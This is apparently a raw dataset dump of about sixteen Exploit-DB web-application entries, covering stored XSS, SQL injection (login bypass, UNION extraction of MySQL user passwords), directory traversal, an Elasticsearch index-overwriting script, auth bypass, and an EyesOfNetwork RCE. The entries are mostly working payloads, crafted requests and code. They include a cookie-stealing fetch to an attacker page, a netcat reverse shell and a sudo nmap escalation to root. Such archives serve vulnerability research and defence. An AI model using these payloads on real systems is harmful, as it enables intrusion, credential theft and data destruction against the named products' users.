deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49367
Description: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2021-01-05
Author: Mesut Cetin

Exploit:
# Exploit Title: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting
# Date: 30-12-2020
# Exploit Author: Mesut Cetin
# Vendor Homepage: http://egavilanmedia.com
# Version: 1.0
# Tested on Windows 10, Firefox 83.0, Burp Suite Professional v1.7.34

Vulnerable parameter: email, gender, username
Payload: <script>alert(document.cookie)</script>

Proof of Concept:

To bypass client-side filter, we will use Burp Suite. Reproduce the vulnerability by following the steps:

1. Login with default credentials "admin:password" at the demo page at: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/profile.php
2. Click above right on the "Profile" tab
3. Navigate to the "Edit Profile" tab
4. In Firefox, use Foxyproxy and click on "Intercept" within Burp Suite. Press on "Update password" button at demo page.
5. Capture the POST request in Burp Suite and manipulate the parameter as shown:

POST /User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile_action.php HTTP/1.1
Host: demo.egavilanmedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 180
Origin: http://demo.egavilanmedia.com
Connection: close
Referer: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile.php
Cookie: PHPSESSID=944b2es2eb67f971af305b2105e35c3e

fullname=admin&username=<script>alert(document.cookie)</script>&email=<script>alert('PoC 2')</script>&gender==<script>alert('PoC 3')</script>&action=update_admin

6. Forward the request and refresh the page. You'll receive three different XSS pop-ups. One of them contains the PHPSESSID cookie. By using payloads like <BODY ONLOAD=fetch(`http://attackers-page.com/${document.cookie}`)>, the session cookies can be send to the attacker.
Exploit-DB #49153
Description: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Stored Cross Site Scripting
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Soushikta Chowdhury

Exploit:
# Exploit Title: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Stored Cross Site Scripting
# Exploit Author: Soushikta Chowdhury
# Vendor Homepage:  http://egavilanmedia.com
# Software Link:  http://egavilanmedia.com/user-registration-and-login-system-with-admin-panel/
# Version: 1.0
# Tested on: Windows 10
# Contact: https://www.linkedin.com/in/soushikta-chowdhury/

Vulnerable Parameters: Full Name
Steps for reproduce:
1. Go to registration page
2. fill in the details & put <script>alert("soushikta")</script> payload in Full name.
3. Now goto Admin Panel. After entering go to Manage Users and go to the last page to check the newly added user. We could see that our payload gets executed.
Exploit-DB #48766
Description: Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2020-08-26
Author: LiquidWorm

Exploit:
# Exploit Title: Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal
# Date: 2020-08-22
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.eibiz.co.th
# Affected version: <=3.8.0
# CVE: N/A

Eibiz i-Media Server Digital Signage 3.8.0 (oldfile) File Path Traversal


Vendor: EIBIZ Co.,Ltd.
Product web page: http://www.eibiz.co.th
Affected version: <=3.8.0

Summary: EIBIZ develop advertising platform for out of home media in that
time the world called "Digital Signage". Because most business customers
still need get outside to get in touch which products and services. Online
media alone cannot serve them right place, right time.

Desc: i-Media Server is affected by a directory traversal vulnerability. An
unauthenticated remote attacker can exploit this to view the contents of
files located outside of the server's root directory. The issue can be
triggered through the 'oldfile' GET parametery.

Tested on: Windows Server 2016
           Windows Server 2012 R2
           Windows Server 2008 R2           
           Apache Flex
           Apache Tomcat/6.0.14
           Apache-Coyote/1.1
           BlazeDS Application


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5585
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5585.php


26.07.2020

--


$ curl "http://192.168.1.1/dlibrary/null?oldfile=../../WEB-INF/web.xml&library=null"

$ curl "http://192.168.1.1/dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null"
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Exploit-DB #50152
Description: Elasticsearch ECE 7.13.3 - Anonymous Database Dump
Type: webapps
Platform: multiple
Date: 2021-07-26
Author: Joan Martinez

Exploit:
# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump
# Date: 2021-07-21
# Exploit Author: Joan Martinez @magichk
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://www.elastic.co/
# Version: >= 7.10.0 to <= 7.13.3
# Tested on: Elastic ECE (Cloud)
# CVE : CVE-2021-22146
# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 

import os
import argparse
import sys

######### Check Arguments
def checkArgs():
	parser = argparse.ArgumentParser()
	parser = argparse.ArgumentParser(description='Elasticdump 1.0\n')
	parser.add_argument('-s', "--host", action="store",
						dest='host',
	                    help="Host to attack.")
	parser.add_argument('-p', "--port", action="store",
						dest='port',
	                    help="Elastic search port by default 9200 or 9201")
	parser.add_argument('-i', "--index", action="store",
						dest='index',
	                    help="Index to dump (Example: 30)")


	args = parser.parse_args()
	if (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :
		parser.print_help(sys.stderr)
		sys.exit(1)
	return args

def banner():
    print("      _           _   _         _")
    print("  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __")
    print(" / _ \ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \| '_ \ ")
    print("|  __/ | (_| \__ \ |_| | (_| (_| | |_| | | | | | | |_) |")
    print(" \___|_|\__,_|___/\__|_|\___\__,_|\__,_|_| |_| |_| .__/")
    print("                                                 |_|")



def exploit(host,port,index):

	if (index != 0):
	    final = int(index)
	else:
	    final =[PII_REDACTED]

	cont = 0
	while (cont <= final):
		os.system("curl -X POST \""+host+":"+port+"/_bulk\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\x0d\x0a\"index\"  :  {\x0d\x0a \"_id\" :\""+str(cont)+"\"\x0d\x0a}\x0d\x0a}\x0d\x0a' -k -s")
		cont = cont + 1

if __name__ == "__main__":

	banner()
	args = checkArgs()
	if (args.index):
	    exploit(args.host,args.port,args.index)
	else:
	    exploit(args.host,args.port,0)
Exploit-DB #41946
Description: Emby MediaServer 3.2.5 - SQL Injection
Type: webapps
Platform: multiple
Date: 2017-04-30
Author: LiquidWorm

Exploit:
Emby MediaServer 3.2.5 Boolean-based Blind SQL Injection Vulnerability


Vendor: Emby LLC
Product web page: https://www.emby.media
Affected version: 3.2.5
                  3.1.5
                  3.1.2
                  3.1.1
                  3.1.0
                  3.0.0

Summary: Emby (formerly Media Browser) is a media server designed to organize,
play, and stream audio and video to a variety of devices. Emby is open-source,
and uses a client-server model. Two comparable media servers are Plex and Windows
Media Center.

Desc: Emby suffers from a blind SQL injection vulnerability. Input passed via the GET
parameter 'MediaTypes' is not properly sanitised before being returned to the user
or used in SQL queries. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
           Ubuntu Linux 14.04.5
           MacOS Sierra 10.12.3
           SQLite3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5400
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5400.php

SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098


22.12.2016

--


PoC:

GET /emby/Users/abb355429db54e159ac2a7a3cbd6eb12/Items?ParentId=4cd160cad6c50f34ca42be0136af2316&Filters=IsNotFolder&Recursive=true&SortBy=SortName&MediaTypes=Audio%2cVideo'&Limit=100&Fields=MediaSources%2CChapters&ExcludeLocationTypes=Virtual HTTP/1.1
Host: 10.211.55.3:8096
accept: application/json
x-mediabrowser-token: ba5a68dfa1134bd6af642228bbf757bb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome 55.0.2883.87", DeviceId="104a154d5aa8c9576a2508113b47a53b6170253c", Version="3.1.0.0", UserId="abb355429db54e159ac2a7a3cbd6eb12"
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Connection: close

Response:

HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Mono-HTTPAPI/1.0
Date: Tue, 21 Feb 2017 12:06:09 GMT
Content-Length: 64
Connection: close

Exception of type 'SQLitePCL.pretty.SQLiteException' was thrown.
Exploit-DB #43422
Description: EMC xPression 4.5SP1 Patch 13 - 'model.jobHistoryId' SQL Injection
Type: webapps
Platform: multiple
Date: 2018-01-03
Author: Pawel Gocyla

Exploit:
Title: EMC xDashboard - SQL Injection Vulnerability
Author: Pawel Gocyla
Date: 02 January 2018

CVE: CVE-2017-14960


Affected Software:
==================
EMC xPression v4.5SP1 Patch 13
Probably other versions are also vulnerable.


SQL Injection Vulnerability:
==============================
This vulnerability allows an attacker to retrieve information from the
database

Vulnerable parameter: "$model.jobHistoryId"

Exploit:

True Condition:  https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=[PII_REDACTED][PII_REDACTED][PII_REDACTED]
and 1=1
False Condition: https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=[PII_REDACTED][PII_REDACTED][PII_REDACTED]
and 1=2

Fix:
====
User input which is putted into sql queries should be properly filtred or
sanitized

References:
============
https://www.owasp.org/index.php/SQL_Injection

Contact:
========
pawellgocyla[at]gmail[dot]com
Exploit-DB #49165
Description: Employee Record Management System 1.1 - Login Bypass SQL Injection
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Anurag Kumar

Exploit:
# Exploit Title: Employee Record Management System 1.1 - Login Bypass SQL Injection
# Date: 2020–11–17
# Exploit Author: Anurag Kumar Rawat(A1C3VENOM)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/
# Version: 1.1
# Tested on Parrot os(Linux)

Attack Vector:
An attacker can gain admin panel access using malicious sql injection quiries.

Steps to reproduce:
1. Open admin login page using following URl:
-> http://localhost/erms/admin/index.php

2. Now put below Payload in both the fields( User ID & Password)
Payload: ' or '1'='1

3)Server accept this payload and attacker successfully bypassed admin panel
without any credentials
Exploit-DB #9819
Description: Engeman 6.x - SQL Injection
Type: webapps
Platform: multiple
Date: 2009-09-25
Author: crashbrz

Exploit:
Engeman is a Brasilian software for maintenance control. 

Version tested: 6.x.x and prior. Next versions appears vulnerable too.

The attacker can inject sql codes in username  textbox:

SQL dump affter injection:

select nome,senha,diasexp,dataltsen,permitetroca from cfgusr where nome='NULL' OR NOME<>'1'

select nomegrupo from cfgusr where ignoragrupo='N' and nome='NULL' OR NOME='1'

In firebird the attack have a low impact, but in SQL Server may compromisse the server.

**** The version tested is a made in DELPH language, NOT is a Web Software! ****

Vendor site: www.engeman.com.br.

Plase, give the credits to: Crash and _Sl0t_ - DcLabs

Trank´s.
Exploit-DB #47365
Description: Enigma NMS 65.0.0 - SQL Injection
Type: webapps
Platform: multiple
Date: 2019-09-09
Author: xerubus

Exploit:
#--------------------------------------------------------------------#
# Exploit Title: Enigma NMS search_pattern SQL Injection             #
# Date:  21 July 2019                                                #
# Author: Mark Cross (@xerubus | mogozobo.com)                       #
# Vendor: NETSAS Pty Ltd                                             #
# Vendor Homepage:  https://www.netsas.com.au/                       #
# Software Link: https://www.netsas.com.au/enigma-nms-introduction/  #
# Version: Enigma NMS 65.0.0                                         #
# CVE-IDs: CVE-2019-16065                                            #
# Full write-up: https://www.mogozobo.com/?p=3647                    #
#--------------------------------------------------------------------#
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/        -= Enigma SQLi by @xerubus =-    
|   D _]/\ \     -= We all have something to hide =-
 \___/ / /\ \\
      (_ )( _)
      @Xerubus    

Request: http://<enigma_nms_ipaddr>/cgi-bin/protected/manage_hosts_short.cgi?action=search_proceed&search_pattern=
Vulnerable Parameter:  search_pattern (GET)
Payload: action=search_proceed&search_pattern=a%' AND SLEEP(5) AND '%'='
Exploit-DB #48376
Description: EspoCRM 5.8.5 - Privilege Escalation
Type: webapps
Platform: multiple
Date: 2020-04-24
Author: Besim

Exploit:
# Exploit Title: EspoCRM 5.8.5 - Privilege Escalation
# Author: Besim ALTINOK
# Vendor Homepage: https://www.espocrm.com
# Software Link: https://www.espocrm.com/downloads/EspoCRM-5.8.5.zip
# Version: v5.8.5
# Tested on: Xampp
# Credit: İsmail BOZKURT

-------------

Details:
--------------------------------------------

1- When we sent a request to the /api/v1/App/user, we can see user details
---
First Request:
---------------------------
GET /api/v1/App/user HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 *************************
Authorization: Basic *************************************
Espo-Authorization: *************************************
Espo-Authorization-By-Token: true
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: auth-token-secret=cdc7f7*********************377;
auth-username=user1; auth-token=3a874a********************************48
----

2- When we decode Basic Authorization and Espo-Authorization and change the
value with another username (like admin)  in the first request, we can see
other user information and access like BOSS
----------

3- Some Examples and encode technique

- BASE64:
First type: dXNlcjE6MQ== (user1:1)
Second type: user1:MzNmYzYwZDQ1ZDI2YWNhODYxZTZlYjdiMDgwMjk4TkRn (user1:pass)
Exploit-DB #38016
Description: ESRI ArcGIS for Server - 'where' SQL Injection
Type: webapps
Platform: multiple
Date: 2012-11-09
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/56474/info

ESRI ArcGIS for Server is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ESRI ArcGIS for Server 10.1 is vulnerable; other versions may also be affected.

http://www.example.com:6080/arcgis/rest/services//query?f=json&where=featured%3Dtrue&returnGeometry=true&spatialRel=esriSpatialRelIntersects
Exploit-DB #10209
Description: Everfocus 1.4 - EDSR Remote Authentication Bypass
Type: webapps
Platform: multiple
Date: 2009-10-14
Author: Andrea Fabrizi

Exploit:
**************************************************************
Product: Everfocus EDSR series
Version affected: 1.4 and older
Website: http://www.everfocus.com/
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi () gmail com
Web: http://www.andreafabrizi.it
Vuln: remote DVR applet authentication bypass
**************************************************************

The EDSR firmware don't handle correctly users authentication and sessions.

This exploit let you to connect to every remote DVR (without username
and password) and see the live cams :)
Exploit: http://www.andreafabrizi.it/files/EverFocus_Edsr_Exploit.tar.gz

I discovered this vulnerability one year ago and i have informed the
vendor, but apparently
there is no solution at this time.

-- 
Andrea Fabrizi
http://www.andreafabrizi.it


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/10209.tar.gz (2009-11-22-EverFocus_Edsr_Exploit.tar.gz)
Exploit-DB #49146
Description: Expense Management System - 'description' Stored Cross Site Scripting
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Nikhil Kumar

Exploit:
# Exploit Title: Expense Management System - 'description' Stored Cross Site Scripting
# Date: 02/12/2020
# Exploit Author: Nikhil Kumar
# Vendor Homepage: http://egavilanmedia.com/
# Software Link: http://egavilanmedia.com/expense-management-system/
# Tested On: Ubuntu

Vunerable Parameter: "description="

Steps to Reproduce:

1. Open the index.php page using following url 

http://localhost/Expense-Management-System/index.php

click on Add Expense

2. Put a payload on "description=" parameter

Payload :- test"><script>alert("XSS")</script>

Malicious Request::

POST /Expense-Management-System/expense_action.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 140
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/Expense-Management-System/
Cookie: PHPSESSID=45f122ec[PII_REDACTED]7ac74f6113ff4a

description=test%22%3E%3Cscript%3Ealert("XSS")%3C%2Fscript%3E&amount=1234&date=2020%2F11%2F17&expense_id=&action=Add
Exploit-DB #49760
Description: ExpressVPN VPN Router 1.0 - Router Login Panel's Integer Overflow
Type: webapps
Platform: multiple
Date: 2021-04-13
Author: Jai Kumar Sharma

Exploit:
# Exploit Title: ExpressVPN VPN Router 1.0 - Router Login Panel's Integer Overflow
# Date: 09-04-2021
# Exploit Author: Jai Kumar Sharma
# Vendor Homepage: https://www.expressvpn.com/
# Software Link: https://www.expressvpn.com/vpn-software/vpn-router
# Version: version 1
# Tested on: Windows/Ubuntu/MacOS
# CVE : CVE-2020-29238

*Proof of concept*:

ExpressVPN Router's Login Panel runs on Nginx webserver, the version v1 of the router's firmware hosts web login panel on vulnerable web server

ExpressVPN Summary: A publicly known bug in the Nginx server used by the ExpressVPN Router version 1.x firmware was reported. ExpressVPN no longer ships or supports that version and all users are encouraged to upgrade to the latest version of the ExpressVPN Router firmware available on our site, which is not vulnerable to this bug. Additionally, we highly discourage our users from exposing their router control panel to the Internet, as this class of bug would only be exploitable with access to the control panel, which is usually restricted to the local network. For help or support upgrading your router please visit: https://www.expressvpn.com/support/

ExpressVPN Router version 1 is vulnerable to integer overflow vulnerability in Nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.

Crafted Request:
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)
Gecko/20100101 Firefox/81.0
Host: 127.0.0.1:8181
Accept-Encoding: identity
Range: bytes=-17208,[PII_REDACTED]854758999
Connection: close


Response:
HTTP/1.1 206 Partial Content
Server: nginx/1.9.15
Date: Tue, 10 Nov 2020 19:22:05 GMT
Content-Type: multipart/byteranges; boundary=[PII_REDACTED]2
Content-Length: 598
Last-Modified: Thu, 13 Sep 2018 04:55:28 GMT
Connection: close
ETag: "5b99edc0-99f"


-[PII_REDACTED]2
Content-Type: text/html
Content-Range: bytes -14745-2462/2463
Exploit-DB #49402
Description: EyesOfNetwork 5.3 - RCE & PrivEsc
Type: webapps
Platform: multiple
Date: 2021-01-11
Author: Audencia Business SCHOOL Red Team

Exploit:
# Exploit Title: EyesOfNetwork 5.3 - RCE & PrivEsc
# Date: 10/01/2021
# Exploit Author: Audencia Business SCHOOL Red Team
# Vendor Homepage: https://www.eyesofnetwork.com/en
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso
# Version: 5.3

#Authentified Romote Code Execution flaw > remote shell > PrivEsc
#
#An user with acces to "/autodiscover.php" can execute remote commande, get a reverse shell and root the targeted machine.

==============================================
Initial RCE

In the webpage : https://EyesOfNetwork_IP/lilac/autodiscovery.php

The "target" input is not controled. It's possible tu put any commands after an "&", RCE is possible with a simple netcat commande like : 

& nc -e /bin/sh <IP> <PORT>
==============================================
PrivEsc

The EyesOfNetwork apache user can run "nmap" with sudo privilege and with NOPASSWD attribut, so it's possible to become the root user when using classic PrivEsc methode :
 
echo 'os.execute("/bin/sh")' > /tmp/nmap.script
sudo nmap --script=/tmp/nmap.script
Exploit-DB #9719
Description: FanUpdate 2.2.1 - 'show-cat.php' SQL Injection
Type: webapps
Platform: multiple
Date: 2009-09-18
Author: (In)Security Romania

Exploit:
Author : (In)Security Romania

Website : https://insecurity.ro

Vulnerable script : FanUpdate 2.2.1


- Explanation

See show-cat.php file

-----------------------------------------------------------------------------------------------
if (!isset($listingid)) { exit; }

require_once('blog-config.php');
require_once('functions.php');

$fu =& FanUpdate::instance();
$fu->addOptFromDb();

$query = "SELECT * FROM ".$fu->getOpt('catoptions_table')." WHERE cat_id=$listingid LIMIT 1";
-----------------------------------------------------------------------------------------------

listingid variable not checked,we can inject our maliciouse SQL code.

- PoC

http://website/script/show-cat.php?listingid=nuLL/*pwned*/uNiOn+aLL+seLeCt+0,0,coNcAt_ws(0x3a,user,0x3a,password),coNcAt_ws(0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,version()),0,0+frOm+mysql.user--

# milw0rm.com [2009-09-18]